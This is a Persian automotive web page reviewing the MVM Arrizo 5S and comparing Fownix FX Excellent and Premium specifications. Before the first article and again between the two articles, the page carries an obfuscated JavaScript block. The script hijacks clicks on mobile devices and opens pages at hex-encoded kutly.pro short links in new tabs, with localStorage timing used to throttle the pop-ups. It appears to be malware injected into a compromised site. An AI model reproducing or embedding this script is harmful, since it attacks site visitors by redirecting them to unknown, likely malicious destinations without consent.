_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

محصول جدید ام وی ام آریزو 5 اس

شرکت مدیران خودرو ، آریزو ۵ اس (ARRIZO 5S) را به‌عنوان نسخه جدید و به روز رسانی شده از محصول آریزو ۵  معرفی کرده است . آریزو ۵ اس را می‌توان یک فیس ‌لیفت از محصول آریزو ۵ نیو نامید . خودرویی که به دنبال محبوب شدن و عرضه گسترده میان جوانان است .

محصول جدید مدیران خودرو ، آریزو 5 اسپرت ARRIZO 5 SPORT ، پر ابهت تر و زیباتر از از نسخه قدیمی این خودرو می باشد که از آخرین طراحی های مطرح روز دنیا الهام گرفته شده است . در این مقاله به بررسی محصول جدید مدیران خودرو آریزو 5 اس و همچنین مقایسه آن با نسخه قبلی پرداخته ایم .

آریزو 5 اس

مشخصات فنی آریزو ۵ اس (ARRIZO 5S)

آریزو 5 اس مجهز به پیشرانه توربو (مشابه : آریزو ۶ پرو و تیگو ۷ پرو) با حجم ۱۵۰۰ سی‌سی است که ۱۴۷ اسب بخار قدرت و ۲۱۰ نیوتون متر گشتاور را در دور موتور ۱۷۵۰ ارائه می‌دهد. این قدرت از طریق جعبه‌دنده ۹ سرعته CVT نسل سوم به چرخ‌های جلو منتقل می‌شود. طبق اعلام سازنده، حداکثر سرعت این خودرو ۱۸۵ کیلومتر بر ساعت بوده و قادر است سرعت صفر تا صد کیلومتر را در حدود ۱۰ ثانیه طی کند. موتور آریزو ۵ اس مجهز به استاندارد آلایندگی یورو ۵ ، وزن خودرو ۱۳۵۵ کیلوگرم و حجم باک آن ۴۸ لیتر است .آریزو 5 اس

 

تغییرات کلی  آریزو ۵ اس (ARRIZO 5S) نسبت به آریزو ۵ نیو 

  • تغییر سپر جلو (نسل جدید جلو پنجره آبشاری چری به همراه تزئینات مشکی پیانویی)
  • تغییر سپر عقب (اضافه شدن دو خروجی اگزوز و استفاده از دیفیوزر)
  • تغییر الگوی داشبورد و استفاده از داشبورد و کنسول فونیکس آریزو ۶ پرو
  • بهبود پنل تنظیمات تهویه
  • ارتقای صندلی‌های ردیف جلو (اضافه شدن گرم‌کن برای راننده و سرنشین جلو و برقی شدن صندلی راننده در ۶ جهت )
  • استفاده از دوخت و تزئینات دو رنگ و دکوراتیو کرومی بر روی داشبورد، کنسول و رودری‌های جلو و عقب

آریزو 5 اسپرت (SPORT) یا آریزو نیو (NEW) ؟

مدیران خودرو در طول فعالیت خود در سال های گذشته همیشه تلاش کرده است تا با تولید خودروهای با کیفیت و با آپشن های روز و ترند دنیا ، نیازها و سلایق مختلف را پوشش دهد . ارائه نسخه جدید آریزو 5 اس (ARRIZO 5S) نیز در راستای همین سیاست بوده و مدیران خودرو سعی بر این داشته تا علاوه بر حفظ زیبایی ها و مقبولیت گسترده آریزو 5 نیو ، امکانات و زیبایی این خودرو را افزایش دهد تا خریداران این خودرو حس بهتری را با این خودرو تجربه کنند تا از امکانات و آپشن هایی که در خودروهای جدید بازار عقب نمانند .

 


function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

تفاوت های اف ایکس اکسلنت و پریمیوم

به تازگی شرکت مدیران خودرو یک رونمایی جذاب از دو خودروی فونیکس FX اکسلنت و پریمیوم کرده است که در این مقاله قصد داریم به معرفی تفاوت ها و مشخصات فنی و ظاهری این دو خودرو بپردازیم و در نهایت به یک جمع بندی کلی از هر دو خودرو اف ایکس اکسلنت و پریمیوم خواهیم پرداخت .

خودروی فونیکس اف ایکس اکسلنت و پریمیوم ، خودروی های ارائه شده از سوی مدیران خودرو که در دی ماه و بهمن ماه سال جاری به بازار خودرو عرضه می شوند . این دو خودرو از لحاظ مشخصات ظاهری بیرونی و درونی یکسان بوده و تنها در مشخصات فنی و برخی امکانات ایمنی و رفاهی با هم تفاوت دارند .

از آن جایی که برای یک خرید هوشمندانه، ابتدا باید با تفاوت ها و مزایا و معایب هر کدام از نسخه های این خودرو به خوبی آشنا باشید؛ پیشنهاد می کنیم این مقاله را به دقت مطالعه بفرمایید .

اف ایکس اکسلنت و پریمیوم

طراحی بیرونی خودرو فونیکس اف ایکس اکسلنت و پریمیوم

دو خودروی اف ایکس اکسلنت و پریمیوم هر دو دارای یک طراحی بیرونی یا ظاهری هستند و از این نظر متفاوت نیستند . شرکت چری برای نخستین بار در سال 2021 این خودرو را در نمایشگاه خودرو گوانگجو چین به نمایش گذاشت که بسیار مورد تحسین قرار گرفت .

خودروهای فونیکس اف ایکس اکسلنت و پریمیوم مطابق ترند روز که ظاهری منحصربه فرد، جذاب و مدرن دارد .

  • طراحی نمای جلوی خودرو

پنجره بزرگ در نمای جلوی این خودرو تعبیه شده که از دو طرف خود متصل به چراغ های ال ای دی باریک هستند . وظیفه این چراغ ها ، روشنایی در روز است .

چراغ های اصلی خودرو درون یک قاب قرار گرفته و به همراه چراغ های مه شکن روی سپر خودرو نصب شده اند . همچنین یک دیفیزور مشکی روی سپر جلوی خودرو نصب شده که جذابیت بصری نمای جلویی خودرو را تا حد زیادی افزایش داده است .

  • طراحی نمای کناری خودرو

اولین چیزی که در نمای کناری خودرو توجه شما را به سوی خود جلب می کند ، زاویه زیاد خط سقف است. زاویه موجب شده تا خودرو فونیکس اف ایکس به خودروهای شاسی بلند کوپه شباهت داشته باشد .

طراحان قصد داشتند سادگی را در طراحی نمای کناری خودرو حفظ کنند. ما شاهد خطوط شکسته زیادی در این بخش از خودرو نیستیم . همچنین یک سری رینگ های بزرگ تیره رنگ با خطوط قرمز در داخل یک نمای منحصربه فرد و شگفت انگیز را برای نمای کناری خودرو به ارمغان آورده است .

از دیگر جذابیت های بخش کناری خودرو، تعبیه ستون ها و سقف مشکی رنگ است که در کنار برجستگی گلگیرها یک نمای مدرن و شیک به این بخش از خودرو داده است .

  • طراحی نمای عقب خودرو فونیکس اف ایکس

نمای عقب خودرو به شکلی هنرمندانه طراحی شده که با نمای کناری و جلویی خودرو هماهنگی کامل دارد .

همچنین شاهد به هم پیوستگی چراغ های اصلی خودرو هستیم که با گرافیک جذاب و خاص خود ، موجب جذابیت هرچه بیشتر نمای عقب خودرو شده اند .

یکی دیگر از آیتم های مدرن و جذاب نمای عقب ، شیشه آن است که از مزایای آن می توان به زاویه دید زیاد اشاره کرد .

همچنین در صندوق تعبیه شده با خطوط شکسته از دیگر ویژگی های جذاب نمای عقب خودرو فونیکس اف ایکس به شمار می رود .

و یکی دیگر از ویژگی های منحصربه فرد بخش عقب این خودرو، دیفیوزر عقب آن است که دارای دو خروجی دو گانه اگزوز می باشد .

اف ایکس اکسلنت و پریمیوم

طراحی داخلی خودرو فونیکس اف ایکس

طراحی داخلی دو خودروی فونیکس اف ایکس اکسلنت و اف ایکس پریمیوم مشابه یک دیگر بوده و از این نظر هم سطح هستند .

طراح مدرن و منحصربه فرد کابین این شاسی بلند مسحور کننده است ؛ به طوری که با ورود به داخل خودرو ابتدا با یک صفحه نمایش بزرگ مالتی مدیا با صفحه کلاستر دیجیتال مواجه می شوید .

از دیگر ویژگی های خاص کابین جلویی می توان به فرمان D کات ، غربیلک سه شاخه به همراه کلیدهای کنترلی اشاره کرد که طراحی داخلی این خودرو را جذاب و کاربردی کرده است .

  • طراحی داشبورد میانی خودرو

در این قسمت از خودرو یک لیور دنده الکتریکی را شاهد هستیم که یک فضای خالی زیر کنسول میانی ایجاد کرده است .

  • فضای داخلی خودرو

طراحی خودرو فونیکس اف ایکسبه صورتی است که تا فضای مناسبی برای نشستن سرنشینان فراهم شود. به این ترتیب می توانید به همراه خانواده خود مسافت های طولانی را سفر کنید بدون اینکه خسته شوید .

از آن جایی که متریال به کار رفته در ساخت این خودرو در سطح بالایی قرار دارد ، راحتی و آرامش را برای سرنشینان به همراه می آورد .

 

مشخصات فنی فونیکس اف ایکس اکسلنت و پریمیوم

تا اینجا به بررسی مشخصات ظاهری و طراحی داخلی و خارجی این خودرو پرداختیم و دانستیم که این دو خودرو از لحاظ مشخصات داخلی و خارجی با هم تفاوتی ندارند. با این حال تفاوت دو خودروی فونیکس اف ایکس اکسلنت و پریمیوم در مشخصات فنی آنهاست.

همانطور که می دانید فونیکس اف ایکس اکسلنت به عنوان نسخه پایه و فونیکس اف ایکس پریمیوم به عنوان نسخه بالاتر توسط مدیران خودرو به بازار عرضه می شوند.

 

  • مشخصات فنی فونیکس اف ایکس اکسلنت

این نوع فونیکس دارای یک موتور 1.5 لیتری توربوشارژ بوده که قدرتی برابر با 156 اسب بخار و گشتاور 230 نیوتن متر دارد . از دیگر مشخصات فنی خاص این خودرو می توان به گیربکس اتوماتیک CVT با شبیه سازی 9 سرعت نیز اشاره کرد . این گیربکس قدرت تولیدی را از موتور گرفته و به چرخ های جلویی انتقال می دهد .

خودروی فونیکس اف ایکس اکسلنت دارای دو حالت رانندگی اکو و اسپرت است که به ازای هر 100 کیلومتر، حدود 7.1 لیتر سوخت به مصرف می رساند .

سیستم تعلیق جلویی این خودرو از نوع مک فرسون و سیستم تعلیق عقبی آن از نوع تورشن بیم می باشد .

خودروی فونیکس اف ایکس اکسلنت در سطخ فونیکس تیگو 7 پرو و ام وی ام ایکس 55 پرو از لحاظ مشخصات فنی قرار دارد .

  • مشخصات فنی خودرو فونیکس اف ایکس پریمیوم

این خودرو دارای موتور 1.6 لیتری TGDI بوده و معادل 197 اسب بخار و گشتاور 290 نیوتن متر قدرت دارند . تعبیه گیربکس 7 سرعته دو کلاچه شرکت گتراک موجب شده است تا قدرت تولیدی از پیشرانه به سمت چرخ های جلو انتقال پیدا کند .

خودروی فونیکس اف ایکس پریمیوم دارای سه حالت رانندگی نرمال، اکو و اسپرت است که به ازای هر 100 کیلومتر، حدود 7.8 لیتر سوخت مصرف می کند .

از دیگر خصوصیات فنی این خودرو می توان به سیستم تعلیق این خودرو اشاره کرد . سیستم تعلیق در قسمت جلوی خودرو فونیکس اف ایکس پریمیوم از نوع مک فرسون بوده و این سیستم در بخش عقبی خودرو از نوع مولتی لینک می باشد به این ترتیب سرنشینان می توانند سفر آرام و امنی را تجربه کنند .

اف ایکس اکسلنت و پریمیوم

امکانات رفاهی خودرو فونیکس اف ایکس اکسلنت و پریمیوم

از دیگر خصوصیات مورد اهمیت یک خودرو، امکانات رفاهی و ایمنی آن است که در این بخش از مقاله به بررسی آنها می پردازیم .

  • از لحاظ امکانات رفاهی و ایمنی، دو خودروی اف ایکس اکسلنت و پریمیوم در یک سطح قرار داشته و تفاوت فاحشی با هم ندارند ؛ به طوری که شما می توانید با خرید خودروی اکسلنت از امکانات رفاهی و ایمنی مشابه با نسخه پریمیوم بهره مند شوید .
  • خودرو فونیکس اف ایکس توانسته 5 ستاره ایمنی در تست های موسسه ایمنی یورو انکپ به دست آورد ابه معنی ایمنی بسیار بالای این خودرو است .

همچنین سایر امکانات رفاهی منحصربه فرد خودروی فونیکس اف ایکس شامل موارد زیر هستند :

